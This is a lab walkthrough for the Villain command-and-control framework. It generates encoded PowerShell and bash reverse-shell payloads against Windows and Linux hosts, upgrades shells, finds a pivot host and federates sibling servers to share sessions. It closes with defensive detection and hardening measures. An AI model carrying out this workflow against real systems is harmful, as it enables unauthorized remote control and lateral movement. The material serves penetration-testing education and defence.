Overview

Villain is an open-source command-and-control (C2) framework developed by t3l3machus that turns a single operator console into a full collaborative attack platform. It generates reverse-shell and HoaxShell payloads for both Windows and Linux, manages multiple concurrent sessions, and — most distinctively — chains independent Villain instances together as sibling servers, letting operators share captured shells across machines in real time.

This article delivers a complete, hands-on walkthrough of that workflow inside a controlled lab. We deploy Villain on a Kali Linux attacker (192.168.1.17), compromise a Windows host (192.168.1.12) and a Linux host (192.168.1.11), upgrade the shells, and federate a second Villain server running on an Ubuntu machine (192.168.1.9). Along the way we demonstrate encoded payload generation, interactive shell access, ConPtyShell upgrades, pivot discovery, server synchronisation, and full session lifecycle management — closing with practical defensive measures security teams can use to detect and disrupt this activity.

Table of Contents

• Overview
• Introduction
• Lab Environment
• Cloning the Villain Repository
• Inspecting the Project Files
• Launching Villain
• Generating an Encoded Windows Payload
• Entering the Windows Pseudo-Shell
• Upgrading to a Fully Interactive ConPtyShell
• Generating a Linux Payload
• Capturing the Linux Session and Discovering a Pivot
• Preparing the Sibling Server Host
• Connecting to the Sibling Server
• Accepting the Connection and Synchronising Sessions
• Verifying the Sibling Relationship
• Reviewing Active Backdoors
• Inspecting Shell Redirectors
• Aliasing Sessions for Readability
• Terminating a Session
• Purging Stored Metadata
• Mitigation Strategies
• Conclusion

Introduction

Once an attacker gains a foothold on a target, the real challenge begins: maintaining reliable access, managing several compromised hosts at once, upgrading fragile shells into usable interactive sessions, and coordinating the operation across a team. Villain is purpose-built for exactly this post-exploitation phase. Rather than juggling separate listeners and one-off reverse-shell one-liners, an operator drives everything from one console.

Under the hood, Villain leans heavily on HoaxShell, an HTTP/HTTPS-based reverse-shell technique that blends C2 traffic into ordinary web requests to evade conventional detection. It ships with multi-handlers for reverse TCP and HoaxShell payloads, a built-in HTTP file smuggler for staging tools, and ConPtyShell integration for fully interactive Windows shells. Its signature capability, however, is the sibling server model: two or more Villain instances on different machines can federate, synchronize their captured sessions, and route shell traffic between one another — enabling genuine multi-operator, multi-host collaboration.

Throughout this article we exercise these features against a purpose-built lab, demonstrating each command in sequence so the workflow is reproducible from start to finish.

Lab Environment

The walkthrough uses an isolated lab consisting of a Kali Linux attacker, two victim hosts, and a second Ubuntu machine that runs a federated Villain instance. All activity is performed against systems we own and control. The table below summarizes each role, system, and address used across the engagement.

Cloning the Villain Repository

We begin with the Kali attacker by pulling the Villain source straight from its official GitHub repository. The clone retrieves the entire project — roughly 1,400 objects — into a local villain directory. The output confirms a clean download, with every object received and all deltas resolved.

git clone https://github.com/t3l3machus/villain

Inspecting the Project Files

With the repository on disk, we move into the project directory and list its contents. The layout reveals the framework’s structure: a Core module that houses Villain’s engine, the LICENSE and README files, requirements manifest, a usage guide, and the Villain.py entry point we will execute next.

cd villain
ls -al

Launching Villain

Running the entry-point script starts the framework. Villain prints its banner and immediately initialises four background services: a Team Server on port 6501 for sibling federation, a Reverse TCP Multi-Handler on 4443, a HoaxShell Multi-Handler on 8080, and an HTTP File Smuggler on 8888.

Typing help enumerates every command available at the main prompt and inside the interactive pseudo-shell — covering payload generation, session control, traffic redirection, file transfer, and sibling chat.

python Villain.py
help

Generating an Encoded Windows Payload

Villain’s generate command builds ready-to-run implants. Here we request a Base64-encoded PowerShell reverse-TCP payload bound to the eth0 interface, so the implant calls back to Kali automatically. Villain prints the one-liner, copies it to the clipboard, and — once the operator runs it on the Windows target — reports a new session from 192.168.1.12 belonging to IGNITE\administrator. The sessions command then lists the freshly captured shell.

generate payload=windows/reverse_tcp/powershell lhost=eth0 encode
sessions

Entering the Windows Pseudo-Shell

To interact with the captured host, we attach to its session ID using the shell command. Villain activates an interactive pseudo-shell, and running ipconfig confirms control of the Windows target: an IPv4 address of 192.168.1.12 on a 255.255.255.0 subnet behind gateway 192.168.1.1.

shell 09c2cc-c1b5fb-617587
ipconfig

Upgrading to a Fully Interactive ConPtyShell

A pseudo-shell is convenient but limited. Villain’s conptyshell command runs Invoke-ConPtyShell against the session to spawn a fully interactive PowerShell with proper TTY support. We point it at eth0, choose port 1234, and target the session by ID; the result is a genuine PowerShell console for the Administrator account.

conptyshell eth0 1234 85513e-c695ba-e35147

Generating a Linux Payload

Villain handles Linux targets just as smoothly. We generate a bash reverse-shell payload — again bound to eth0 — which produces a compact /dev/tcp one-liner that connects back to the Kali handler on port 4443 and lands on the clipboard for delivery.

generate payload=linux/reverse_tcp/bash_read_line lhost=eth0

Capturing the Linux Session and Discovering a Pivot

After the payload executes on the Linux host, Villain reports a new session from 192.168.1.11 owned by pentest@ignite. We attach to it and run ifconfig, which exposes a dual-homed machine: ens33 sits on the 192.168.1.0/24 network, while ens37 holds 192.168.148.129 on a second, internal subnet — a clear pivot point toward an otherwise unreachable network segment.

sessions
shell d38857-110610-a66371
ifconfig

Preparing the Sibling Server Host

Villain’s standout feature is server federation. To demonstrate it, we move to an Ubuntu machine that will run a second, independent Villain instance. Confirming its address with ifconfig shows the host living at 192.168.1.9 — the endpoint our Kali server will federate with.

ifconfig

Connecting to the Sibling Server

Back on Kali, the connect command reaches out to the sibling’s Team Server on 192.168.1.9:6501. Villain sends the request, establishes the connection, and synchronises both servers so they can share session data.

connect 192.168.1.9 6501

Accepting the Connection and Synchronising Sessions

On the Ubuntu host, the second Villain instance receives the inbound request from 192.168.1.17 and prompts the operator for a one-time code. Entering 9691 accepts the federation, and Villain synchronises two additional shell sessions across the link. A session listing on the sibling now shows both the Linux (192.168.1.11) and Windows (192.168.1.12) shells — owned by kali — and we drop into the Windows shell to confirm cross-server control with ipconfig.

python3 Villain.py
9691
sessions
shell 85513e-c695ba-e35147
ipconfig

Verifying the Sibling Relationship

The siblings command confirms the federation from Kali’s side. It lists the connected peer — hostname ignite at 192.168.1.9:6501 — with an Active status, proving the two servers now operate as a single collaborative team.

Siblings

Reviewing Active Backdoors

The backdoors command summarises every established implant by shell type, listener, stability, and status. Both shells — a unix reverse-tcp backdoor on 192.168.1.11 and a powershell.exe reverse-tcp backdoor on 192.168.1.12 — report Stable and Active. A follow-up sessions listing cross-references each backdoor with its owning user.

backdoors
sessions

Inspecting Shell Redirectors

When sessions are shared between siblings, Villain routes their traffic through redirectors. The redirectors command lists each one: here, redirector ID 0 ties the Windows session 85513e-c695ba-e35147 to the sibling server 46977e7a…3da3527, showing exactly how the captured shell traverses the federated link.

Redirectors

Aliasing Sessions for Readability

Long session IDs are hard to track during an engagement. The alias command replaces them with memorable labels — we rename the Linux session to raj-ubuntu and the Windows session to raj-server. The subsequent listing displays the friendly names in place of the original identifiers.

alias raj-ubuntu 2d8225-90f573-5fae88
alias raj-server 85513e-c695ba-e35147
sessions

Terminating a Session

Cleanup begins with the kill command, which terminates a specific session by its alias. Killing raj-ubuntu tears down the Linux shell, and the following listing confirms that only the Windows session (raj-server) remains active.

kill raj-ubuntu
sessions

Purging Stored Metadata

Finally, Villain caches metadata about every generated implant so sessions can be re-established later. The help purge text explains this behavior, and the purge command — after a confirmation prompt — deletes all stored session metadata without disturbing any sessions that remain active.

help purge
purge

Mitigation Strategies

Frameworks like Villain succeed by blending into normal traffic and abusing built-in interpreters, so defence depends on layered visibility and control rather than any single product. The following measures help organisations detect and disrupt the techniques shown above.

• Enable deep PowerShell logging. Turn on Script Block Logging, Module Logging, and transcription, and forward the events to a SIEM. Encoded one-liners such as the EncodedCommand payload used here, surface clearly once Anti-Malware Scan Interface (AMSI) inspection and Constrained Language Mode are enforced.
• Deploy EDR with behavioural detection. Endpoint detection and response tooling flags hallmark behaviours — Invoke-ConPtyShell spawning a PTY, PowerShell making outbound TCP connections, and bash invoking /dev/tcp redirects — that signature-only antivirus routinely misses.
• Restrict outbound (egress) traffic. Villain’s handlers listen on 4443, 8080, 6501, and 8888. Allowlist only required outbound destinations and ports at the firewall, so reverse shells and sibling-server synchronization cannot reach an external operator.
• Segment the network. The compromised Linux host was dual-homed, exposing a second internal subnet. Strict segmentation, host-based firewalls, and access control lists between zones contain a foothold and prevent lateral pivoting.
• Enforce application allowlisting. Solutions such as Windows Defender Application Control or AppLocker block unauthorized scripts and binaries, stopping HoaxShell and reverse-TCP implants before they execute.
• Apply least privilege. The captured shells ran as IGNITE\administrator and a privileged Linux user. Removing unnecessary local admin rights and enforcing role-based access sharply limits what an implant can do after landing.
• Hunt for C2 beaconing. HoaxShell communicates over HTTP at regular intervals. Monitor for periodic, low-variance outbound requests, unusual user-agents, and long-lived connections to single endpoints as indicators of an active handler.
• Patch and harden continuously. Keep operating systems and services current, disable unused interpreters and remote-execution paths, and audit for stale or unauthorised scheduled tasks that adversaries use to persist.

Conclusion

Villain shows how a modern C2 framework compresses the entire post-exploitation lifecycle into a single console. In one continuous workflow we cloned and launched the tool, generated encoded payloads for both Windows and Linux, upgraded a basic pseudo-shell into a fully interactive ConPtyShell, uncovered a dual-homed pivot host, and federated two independent servers so captured shells could be shared, aliased, redirected, and cleanly retired across machines. Its sibling-server model makes Villain especially well suited to collaborative red-team operations, where several operators must work the same set of targets without stepping on one another.